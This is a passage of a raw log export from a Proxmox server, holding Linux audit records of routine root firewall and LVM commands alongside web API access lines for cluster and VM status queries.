tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966380846,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965765310,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.310:67005): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964145789,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.789:59785): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965445975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.975:65647): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=561f87b32740 items=0 ppid=1156 pid=63057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965515127,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.127:65938): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c45f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966379825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965765302,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.302:67004): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964145782,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.782:59784): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965445973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.973:65646): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.120:65937): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966379825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965765297,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.297:67003): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964145776,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.776:59782): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965445967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.967:65645): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb9892b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.110:65936): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966379825,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.294:67002): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964145770,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.770:59781): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965445961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.961:65644): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515104,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.104:65935): arch=c000003e syscall=59 success=yes exit=0 a0=5b2a8fda7b60 a1=5b2a8fdb3a30 a2=5b2a8fd81680 a3=5 items=2 ppid=63324 pid=63330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966379825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.294:67001): argc=1 a0=\"date\""} {"@timestamp":1781964145764,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.764:59780): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965445955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.955:65643): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134ed0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.101:65934): arch=c000003e syscall=59 success=yes exit=0 a0=5b2a76cf7ac8 a1=7ffc73d0b050 a2=5b2a8fd81680 a3=5b2a76cdb24e items=2 ppid=63324 pid=63326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966378801,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781965765289,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.289:66999): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964145759,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.759:59779): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965445948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.948:65642): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.100:65933): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc73d0b010 a1=5b2a8fda3200 a2=5b2a8fd81680 a3=5 items=2 ppid=63324 pid=63325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966377854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965765282,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.282:66998): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964145753,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.753:59778): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965445943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.943:65641): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140270 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.093:65931): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966377854,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965765274,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.274:66997): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964145748,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.748:59777): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965445933,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.933:65640): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.080:65930): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966376777,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965765267,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.267:66996): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964145742,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.742:59776): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965445925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.925:65639): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.070:65929): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966375789,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965765257,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.257:66995): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964145735,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.735:59775): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965445920,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.920:65638): arch=c000003e syscall=59 success=yes exit=0 a0=5d793ba80e90 a1=5d793ba7dc10 a2=5d793ba5f680 a3=5 items=2 ppid=63043 pid=63049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.064:65928): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c2090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966375789,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:34 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965765246,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.246:66994): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964145731,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.731:59774): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965445910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.910:65637): arch=c000003e syscall=59 success=yes exit=0 a0=5d790b364ac8 a1=7ffd05bc80d0 a2=5d793ba5f680 a3=5d790b34824e items=2 ppid=63043 pid=63045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.054:65927): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966375789,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965764834,"@rawstring":"node=pve type=EXECVE msg=audit(1781965764.834:66993): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964145728,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.728:59773): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965445909,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.909:65636): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd05bc8090 a1=5d793ba66310 a2=5d793ba5f680 a3=5 items=2 ppid=63043 pid=63044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.038:65926): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e66f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966374673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781965764809,"@rawstring":"node=pve type=EXECVE msg=audit(1781965764.809:66992): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964145726,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.726:59772): argc=1 a0=\"date\""} {"@timestamp":1781965445904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.904:65634): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965514.252:65925): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d514f660 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966374673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965764212,"@rawstring":"node=pve type=EXECVE msg=audit(1781965764.212:66991): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964145722,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.722:59770): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965445896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.896:65633): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965514.229:65924): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417940 a1=64f8d73c3c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966373665,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965764207,"@rawstring":"node=pve type=EXECVE msg=audit(1781965764.207:66988): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964145715,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.715:59769): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965445888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.888:65632): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965513.292:65923): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965759194,"@rawstring":"node=pve type=EXECVE msg=audit(1781965759.194:66985): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966373665,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781964145708,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.708:59768): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965445882,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.882:65631): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513280,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965513.280:65920): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965759187,"@rawstring":"node=pve type=EXECVE msg=audit(1781965759.187:66982): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966371634,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781964145702,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.702:59767): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965445870,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.870:65630): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2c70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965508.271:65917): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755234,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.234:66979): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966371634,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964145696,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.696:59766): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965445858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.858:65629): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130110 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965508.263:65914): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956170 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755231,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.231:66978): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966371634,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964145690,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.690:59765): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965444460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965444.460:65628): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382890 a1=64f8d73b2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965506.024:65911): arch=c000003e syscall=59 success=yes exit=0 a0=6207fa8c80a0 a1=6207fa8c4e20 a2=6207fa8a6680 a3=5 items=2 ppid=63303 pid=63309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755230,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.230:66977): argc=1 a0=\"date\""} {"@timestamp":1781966371634,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964144438,"@rawstring":"node=pve type=EXECVE msg=audit(1781964144.438:59764): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" 